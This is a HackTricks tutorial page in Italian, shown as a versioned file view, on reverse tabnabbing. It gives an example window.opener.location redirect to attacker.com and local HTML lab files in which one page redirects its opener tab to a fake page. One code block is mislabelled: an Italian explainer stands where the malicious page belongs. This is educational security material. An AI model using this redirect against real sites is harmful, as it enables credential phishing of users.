hacktricks/pentesting-web/reverse-tab-nabbing.md

132 lines
7.2 KiB
Markdown
Raw Normal View History

{% hint style="success" %}
Learn & practice AWS Hacking:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
Learn & practice GCP Hacking: <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
2022-04-28 16:01:33 +00:00
<details>
2022-04-28 16:01:33 +00:00
<summary>Support HackTricks</summary>
2022-04-28 16:01:33 +00:00
* Check the [**subscription plans**](https://github.com/sponsors/carlospolop)!
* **Join the** 💬 [**Discord group**](https://discord.gg/hRep4RUj7f) or the [**telegram group**](https://t.me/peass) or **follow** us on **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
* **Share hacking tricks by submitting PRs to the** [**HackTricks**](https://github.com/carlospolop/hacktricks) and [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos.
2022-04-28 16:01:33 +00:00
</details>
{% endhint %}
2022-04-28 16:01:33 +00:00
2024-02-10 13:03:23 +00:00
# Descrizione
2021-05-01 15:23:19 +00:00
In una situazione in cui un **attaccante** può **controllare** l'argomento **`href`** di un tag **`<a`** con l'attributo **`target="_blank" rel="opener"`** che verrà cliccato da una vittima, l'**attaccante** **punta** questo **link** a un web sotto il suo controllo (un **sito** **maligno**). Poi, una volta che la **vittima clicca** sul link e accede al sito dell'attaccante, questo **sito** **maligno** sarà in grado di **controllare** la **pagina** **originale** tramite l'oggetto javascript **`window.opener`**.\
Se la pagina non ha **`rel="opener"` ma contiene `target="_blank"` e non ha `rel="noopener"`** potrebbe essere vulnerabile.
2021-05-01 15:23:19 +00:00
Un modo comune per abusare di questo comportamento sarebbe **cambiare la posizione del web originale** tramite `window.opener.location = https://attacker.com/victim.html` a un web controllato dall'attaccante che **sembra quello originale**, in modo da **imitare** il **modulo** di **accesso** del sito originale e chiedere le credenziali all'utente.
2021-05-01 15:23:19 +00:00
Tuttavia, nota che poiché l'**attaccante ora può controllare l'oggetto finestra del sito originale**, può abusarne in altri modi per eseguire **attacchi più furtivi** (forse modificando eventi javascript per esfiltrare informazioni a un server controllato da lui?)
2021-05-01 15:23:19 +00:00
2024-02-10 13:03:23 +00:00
# Panoramica
2021-05-01 15:23:19 +00:00
## Con link di ritorno
2021-05-01 15:23:19 +00:00
Link tra pagine padre e figlio quando l'attributo di prevenzione non è utilizzato:
2021-05-01 15:23:19 +00:00
2024-02-06 03:10:38 +00:00
![https://owasp.org/www-community/assets/images/TABNABBING_OVERVIEW_WITH_LINK.png](https://owasp.org/www-community/assets/images/TABNABBING\_OVERVIEW\_WITH\_LINK.png)
2021-05-01 15:23:19 +00:00
## Senza link di ritorno
2021-05-01 15:23:19 +00:00
Link tra pagine padre e figlio quando l'attributo di prevenzione è utilizzato:
2021-05-01 15:23:19 +00:00
2024-02-06 03:10:38 +00:00
![https://owasp.org/www-community/assets/images/TABNABBING_OVERVIEW_WITHOUT_LINK.png](https://owasp.org/www-community/assets/images/TABNABBING\_OVERVIEW\_WITHOUT\_LINK.png)
2021-05-01 15:23:19 +00:00
2024-02-10 13:03:23 +00:00
## Esempi <a href="#examples" id="examples"></a>
2021-05-01 15:23:19 +00:00
2024-02-10 13:03:23 +00:00
Crea le seguenti pagine in una cartella e avvia un server web con `python3 -m http.server`\
Poi, **accedi** a `http://127.0.0.1:8000/`vulnerable.html, **clicca** sul link e nota come l'**URL** del **sito** **originale** **cambia**.
2021-05-01 15:23:19 +00:00
{% code title="vulnerable.html" %}
```markup
<!DOCTYPE html>
<html>
<body>
<h1>Victim Site</h1>
<a href="http://127.0.0.1:8000/malicious.html" target="_blank" rel="opener">Controlled by the attacker</a>
</body>
</html>
```
{% endcode %}
2021-05-01 15:23:19 +00:00
{% code title="malicious.html" %}
<!DOCTYPE html>
<html lang="it">
<head>
<meta charset="UTF-8">
<meta name="viewport" content="width=device-width, initial-scale=1.0">
<title>Tab Nabbing</title>
</head>
<body>
<h1>Tab Nabbing</h1>
<p>Il tab nabbing è una tecnica di phishing che sfrutta il comportamento degli utenti quando aprono nuovi tab nel browser.</p>
<p>Quando un utente clicca su un link, il sito maligno può aprire un nuovo tab e reindirizzare l'originale a una pagina di login falsa.</p>
<p>Per proteggersi dal tab nabbing, è importante utilizzare l'attributo <code>rel="noopener noreferrer"</code> nei link che aprono nuovi tab.</p>
</body>
</html>
{% endcode %}
2021-05-01 15:23:19 +00:00
```markup
<!DOCTYPE html>
<html>
2024-02-10 13:03:23 +00:00
<body>
<script>
window.opener.location = "http://127.0.0.1:8000/malicious_redir.html";
</script>
</body>
2021-05-01 15:23:19 +00:00
</html>
```
{% endcode %}
{% code title="malicious_redir.html" %}
2021-05-01 15:23:19 +00:00
```markup
<!DOCTYPE html>
<html>
<body>
<h1>New Malicious Site</h1>
</body>
</html>
```
{% endcode %}
2024-02-10 13:03:23 +00:00
## Proprietà accessibili <a href="#accessible-properties" id="accessible-properties"></a>
2021-05-01 15:23:19 +00:00
Nello scenario in cui si verifica un accesso **cross-origin** (accesso tra domini diversi), le proprietà dell'istanza della classe JavaScript **window**, a cui si fa riferimento tramite l'oggetto JavaScript **opener**, che possono essere accessibili da un sito malevolo sono limitate alle seguenti:
2021-05-01 15:23:19 +00:00
2024-02-10 13:03:23 +00:00
- **`opener.closed`**: Questa proprietà viene utilizzata per determinare se una finestra è stata chiusa, restituendo un valore booleano.
- **`opener.frames`**: Questa proprietà fornisce accesso a tutti gli elementi iframe all'interno della finestra corrente.
- **`opener.length`**: Il numero di elementi iframe presenti nella finestra corrente è restituito da questa proprietà.
- **`opener.opener`**: Un riferimento alla finestra che ha aperto la finestra corrente può essere ottenuto tramite questa proprietà.
2024-02-10 13:03:23 +00:00
- **`opener.parent`**: Questa proprietà restituisce la finestra padre della finestra corrente.
- **`opener.self`**: L'accesso alla finestra corrente stessa è fornito da questa proprietà.
- **`opener.top`**: Questa proprietà restituisce la finestra del browser più alta.
2021-05-01 15:23:19 +00:00
Tuttavia, nei casi in cui i domini siano identici, il sito malevolo ottiene accesso a tutte le proprietà esposte dal riferimento all'oggetto JavaScript [**window**](https://developer.mozilla.org/en-US/docs/Web/API/Window).
2021-05-01 15:23:19 +00:00
2024-02-10 13:03:23 +00:00
# Prevenzione
2021-05-01 15:23:19 +00:00
2024-02-10 13:03:23 +00:00
Le informazioni sulla prevenzione sono documentate nel [HTML5 Cheat Sheet](https://cheatsheetseries.owasp.org/cheatsheets/HTML5\_Security\_Cheat\_Sheet.html#tabnabbing).
2021-05-01 15:23:19 +00:00
2024-02-10 13:03:23 +00:00
## Riferimenti
2021-05-01 15:23:19 +00:00
2024-02-06 03:10:38 +00:00
* [https://owasp.org/www-community/attacks/Reverse_Tabnabbing](https://owasp.org/www-community/attacks/Reverse_Tabnabbing)
2021-05-01 15:23:19 +00:00
{% hint style="success" %}
Learn & practice AWS Hacking:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
Learn & practice GCP Hacking: <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
2022-04-28 16:01:33 +00:00
<details>
<summary>Support HackTricks</summary>
2022-04-28 16:01:33 +00:00
* Check the [**subscription plans**](https://github.com/sponsors/carlospolop)!
* **Join the** 💬 [**Discord group**](https://discord.gg/hRep4RUj7f) or the [**telegram group**](https://t.me/peass) or **follow** us on **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
* **Share hacking tricks by submitting PRs to the** [**HackTricks**](https://github.com/carlospolop/hacktricks) and [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos.
2022-04-28 16:01:33 +00:00
</details>
{% endhint %}